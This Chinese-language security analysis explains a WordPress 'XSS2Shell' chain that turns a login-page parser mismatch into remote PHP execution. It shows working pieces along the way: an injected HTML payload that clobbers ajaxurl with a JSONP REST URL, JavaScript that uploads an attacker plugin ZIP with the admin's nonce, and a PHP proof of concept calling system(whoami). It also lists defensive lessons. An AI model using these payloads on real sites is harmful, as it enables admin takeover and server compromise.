KSES 過濾器真的安全嗎?
1. 簡介
跨站腳本(Cross-site scripting) 通常被視為一個獨立(Self-contained)漏洞,透過單一過濾函式(Single sanitization call)就能修補。但這次揭露的 WordPress XSS2Shell 攻擊鏈證明了這種假設的危險性:登入頁面上一個無需驗證帳號、也無需使用者互動(僅需點擊連結)的預先驗證注入點(Pre-authentication injection),被逐步升級為伺服器上的完整遠端 PHP 程式碼執行 [1] 。這條攻擊鏈之所以具有教育意義,並非因為其中任何單一技術(Parser 不一致、DOM Clobbering、JSONP 與跨視窗指令碼)是新的,而是因為五個普通的實作決策如何組合出一個可運作的 Exploit。
2. 根本原因:兩個 Parser,兩種結果
這條攻擊鏈始於 WordPress 的登入處理器。當提交一個未知的使用者名稱時,
wp_authenticate_username_password()
會將原始使用者名稱,在該值通過
sanitize_user()
並最終經過 PHP 內建
strip_tags()
處理之後,透過
sprintf
嵌入到一個 HTML 錯誤字串中
[1]
:
- // wp-includes/user.php — the injection sink
- return new WP_Error(
- 'invalid_username',
- sprintf(
- __( '<strong>Error:</strong> The username <strong>%s</strong> is not registered on this site.' ),
- $username
- )
- );
- // PHP strip_tags() tag-detection behaviour
- strip_tags('< area id=test>'); // survives — '< ' is not recognised as a tag opener
- strip_tags('<area id=test>'); // stripped — recognised and removed
繞過手法依賴於一個單一字元類別:PHP 原生的標籤掃描器要求
<
後面必須緊接一個字母,因此
< area
(有空格) 會被視為純文字而存活下來。這個錯誤字串稍後會經由
wp_admin_notice()
重新呈現,該函式會呼叫
wp_kses_post()
— WordPress 自己的 HTML 允許清單過濾器,它有一個獨立的 Tokenizer,
確實
會容忍標籤名稱前的空白。同一個字串被一個過濾器歸類為惰性文字(Inert text),卻被第二個過濾器歸類為合法的
<area>
、
<div>
或
<button>
元素,且帶有攻擊者選擇的
id
、
class
與
href
屬性 — 這些全都在 KSES 的 post 允許清單上。這種兩個元件對標記 Token 邊界產生歧見的漏洞類型,是現代 Payload 隱藏與 WAF 繞過研究中反覆出現的主題,其中利用編碼與空白變化,使單一輸入在 Pipeline 的兩個階段被解析成不同的結果。
3. 將注入元素武器化:自動點擊 (Auto-Click) 元件
注入的、惰性的 DOM 節點本身還不能執行 Script。這條攻擊鏈需要一個現有的、受信任的 Script,且該 Script 會自動對這些節點做出反應。WordPress 的登入頁面載入了
wp-admin/js/user-profile.js
— 這個 Script 本來是給個人資料編輯畫面用的,但因為同一頁面也提供密碼重設流程,所以在
wp-login.php
上被全域載入
[1]
。一旦攻擊者的元素存在於 DOM 中,裡面的兩個處理器就變成了可用元件:
- // wp-admin/js/user-profile.js — auto-trigger on document ready
- $('.reset-pass-submit').find('.wp-generate-pw').trigger('click');
- // delegated click handler, normally scoped to the real profile page
- $('#color-picker').on('click', '.color-option', function() {
- var user_id = $('input#user_id').val(); // absent on login page -> undefined
- var new_user_id = $('input[name="checkuser_id"]').val(); // absent on login page -> undefined
- if ( user_id === new_user_id ) { // undefined === undefined -> true
- $.post( ajaxurl, {
- action: 'save-user-color-scheme',
- color_scheme: $(this).children('.color-palette').data('color-scheme'),
- nonce: $('#color-nonce').val()
- });
- }
- });
當注入的標記提供了符合
.reset-pass-submit
、
.wp-generate-pw
與
#color-picker.color-option
的元素時,ready-handler 中的自動
.trigger('click')
會觸發一個 Click 事件,該事件會向上冒泡(bubble)進入委派的處理器。該處理器中的相等性檢查當初是在「兩個輸入在真實個人資料頁面上都存在」的假設下撰寫的;在登入頁面上,jQuery 對這兩個查詢都回傳
undefined
,而
undefined === undefined
顯然為真。程式執行因此進入
$.post(ajaxurl, …)
,且完全不需要使用者互動。
圖 1 — 從注入 DOM 到未經請求的同源 POST 的自動點擊元件鏈。
4. 透過 DOM Clobbering 劫持 Ajax URL 並經由 JSONP 執行
最後一個部分是將該 POST 重新導向到某個有用的地方,並將回應轉換為可執行的 Script。
ajaxurl
通常由 WordPress 在管理頁面上定義,但在登入頁面上不存在,因此任何非限定的參考都會沿著 scope chain 回溯到
window
。根據 HTML 規範的命名屬性存取規則,任何帶有匹配
id
的元素都會成為
window
的一個屬性 — 這種機制通常被稱為 DOM Clobbering
[4]
。攻擊者注入的 Payload 正是這樣:
- < area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>
- < div id=color-picker class=reset-pass-submit>
- < button class="wp-generate-pw color-option">X
window.ajaxurl
現在解析為注入的
<area>
元素。jQuery 的
$.post()
透過
HTMLHyperlinkElementUtils.toString()
將其強制轉為字串,該方法會回傳元素的
href
— 一個指向 WordPress 公開 REST 索引的 URL。查詢字串將三個 REST 功能疊加在一起:
_method=GET
對於無法發出任意動詞的客戶端,將 POST 重新解讀為 GET;
_jsonp=alert
要求 REST 伺服器將其 JSON 主體包裝在一個 Callback 中,該 Callback 僅通過
^[a-zA-Z0-9_.]+$
驗證;而
_envelope=1
即使在匿名 REST 存取會回傳 401 的情況下,也強制回傳 200 狀態。由於回應以
Content-Type: application/javascript
提供,且原始請求未指定明確的
dataType
,jQuery 將其歸類為 Script,並將其傳遞給
jQuery.globalEval()
,從而在 WordPress 來源中執行該 Callback。這種利用鬆散驗證的 Callback 名稱,透過內容類型驅動的程式碼路徑來走私可執行 Payload 的手法,與
近期針對 Payload 混淆技術的研究
中歸類的更廣泛的編碼與格式繞過手法相呼應,其中一個寬鬆的字元類別過濾器被重新利用來承載過濾器作者從未預期的邏輯。
5. 跨視窗權限提升:從 Alert 視窗到管理員 Session
由於正規表達式允許點號,因此 Callback 不僅限於單純的函式名稱 — 它可以是一個屬性存取鏈,包括跨越視窗邊界的鏈。這與早期 WordPress/CSP 繞過研究中發布的同源方法執行 (Same-Origin Method Execution) 技術所依賴的基礎原理相同
[2]
。攻擊者開啟一個子視窗,保留對它的參考,然後將上層視窗 (Opener) 導航到 WordPress 內建的應用程式密碼授權畫面,該畫面的核准按鈕帶有
id="approve"
。接著,子視窗登送出入 Payload,並將 Callback 設為
window.opener.approve.click
。一旦被執行,JSONP 包裝器會在位於管理員已驗證的上層視窗中的核准按鈕上呼叫
.click()
— 並將 REST JSON 主體作為被忽略的參數傳入。
圖 2 — 從 JSONP 執行到擷取應用程式密碼的跨視窗權限提升。
WordPress 的
auth-app.js
使用一個真實且有效的 Nonce 來處理核准,為管理員帳號建立一個新的應用程式密碼,並重新導向至攻擊者控制的
success_url
,並在查詢字串中攜帶該認證資訊
[1]
。攻擊者現在擁有了 REST API 的有效 Basic-Auth 認證,且從未提示管理員輸入密碼。
6. 從應用程式密碼到遠端 PHP 執行
應用程式密碼可直接驗證 REST 請求,而 WordPress 的 CORS 設定會反映請求來源。由於單站管理員預設擁有
unfiltered_html
能力,攻擊者發布一個包含 Script Payload 的頁面,然後誘騙管理員的瀏覽器再次造訪該頁面。該 Script — 在 WordPress 來源中、管理員的 Cookie 下執行 — 進行最終的權限提升:它讀取外掛上傳的 Nonce,並送出攻擊者提供的 ZIP 封存檔(ZIP archive)。
- // Executed client-side in the WordPress origin, using the admin session
- let html = await fetch('/wp-admin/update.php?action=upload-plugin').then(r => r.text());
- let nonce = html.match(/name="_wpnonce" value="([^"]+)"/)[1];
- let form = new FormData();
- form.append('_wpnonce', nonce);
- form.append('pluginzip', attackerZipBlob, 'payload.zip');
- await fetch('/wp-admin/update.php?action=upload-plugin', { method: 'POST', body: form });
- // ZIP is extracted to wp-content/plugins/payload/ without activation
- let result = await fetch('/wp-content/plugins/payload/shell.php');
WordPress 驗證了 Nonce 和管理員權限 — 兩者皆合法滿足 — 然後將 ZIP 解壓縮到
wp-content/plugins/
。啟用並非必要:解壓縮目錄中的任何 PHP 檔案都可直接透過請求由網頁伺服器存取和執行。用於確認影響的概念驗證 Payload 非常精簡:
- <?php
- header('Hacked: true');
- echo json_encode(['rce' => true, 'user' => system(`whoami`)]);
結果是未經身份驗證、單次造訪的遠端程式碼執行,從一次失敗的登入嘗試即可觸及,且攻擊者從未持有有效帳號。
7. 討論
從結構上來看,此攻擊鏈屬於更廣泛的漏洞家族,其中授權邊界並非被直接突破,而是透過一系列單獨來看風險較低的邏輯缺口達成 — 一個存取控制假設、一個寬鬆的 Callback 驗證器、一個未經檢查的檔案解壓縮路徑。類似的模式也出現在 近期針對網路管理韌體中 API 邏輯漏洞導致 RCE 的分析 ,其中缺失的內部存取控制,加上備份 Routine 上輸入驗證不足 — 而非任何單一的記憶體安全錯誤 — 產生了未經身份驗證的命令執行。在這兩個案例中,實際的教訓是相同的:必須驗證過濾和存取控制檢查在每個重新解析相同資料的元件之間是否一致,且任何具有使用相等性檢查的客戶端 Script 應該在預期輸入缺失時以失敗關閉 (Fail Closed),而非失敗開啟 (Fail Open)。
8. 結論
XSS2Shell 攻擊鏈將一個單一字元的 Parser 不一致,透過五個各自獨立的合理設計決策串聯起來,轉化為完整的伺服器端程式碼執行:一個寬鬆的過濾器、一個全域載入的管理後台 Script、一個隱式 Window 屬性查詢、一個鬆散驗證的 JSONP Callback,以及一個未經身份驗證的外掛解壓縮路徑。沒有一個步驟需要記憶體損壞或認證猜測;每個步驟僅僅是信任了一個在其撰寫目標頁面上成立的假設,卻在其實際執行的頁面上失效了。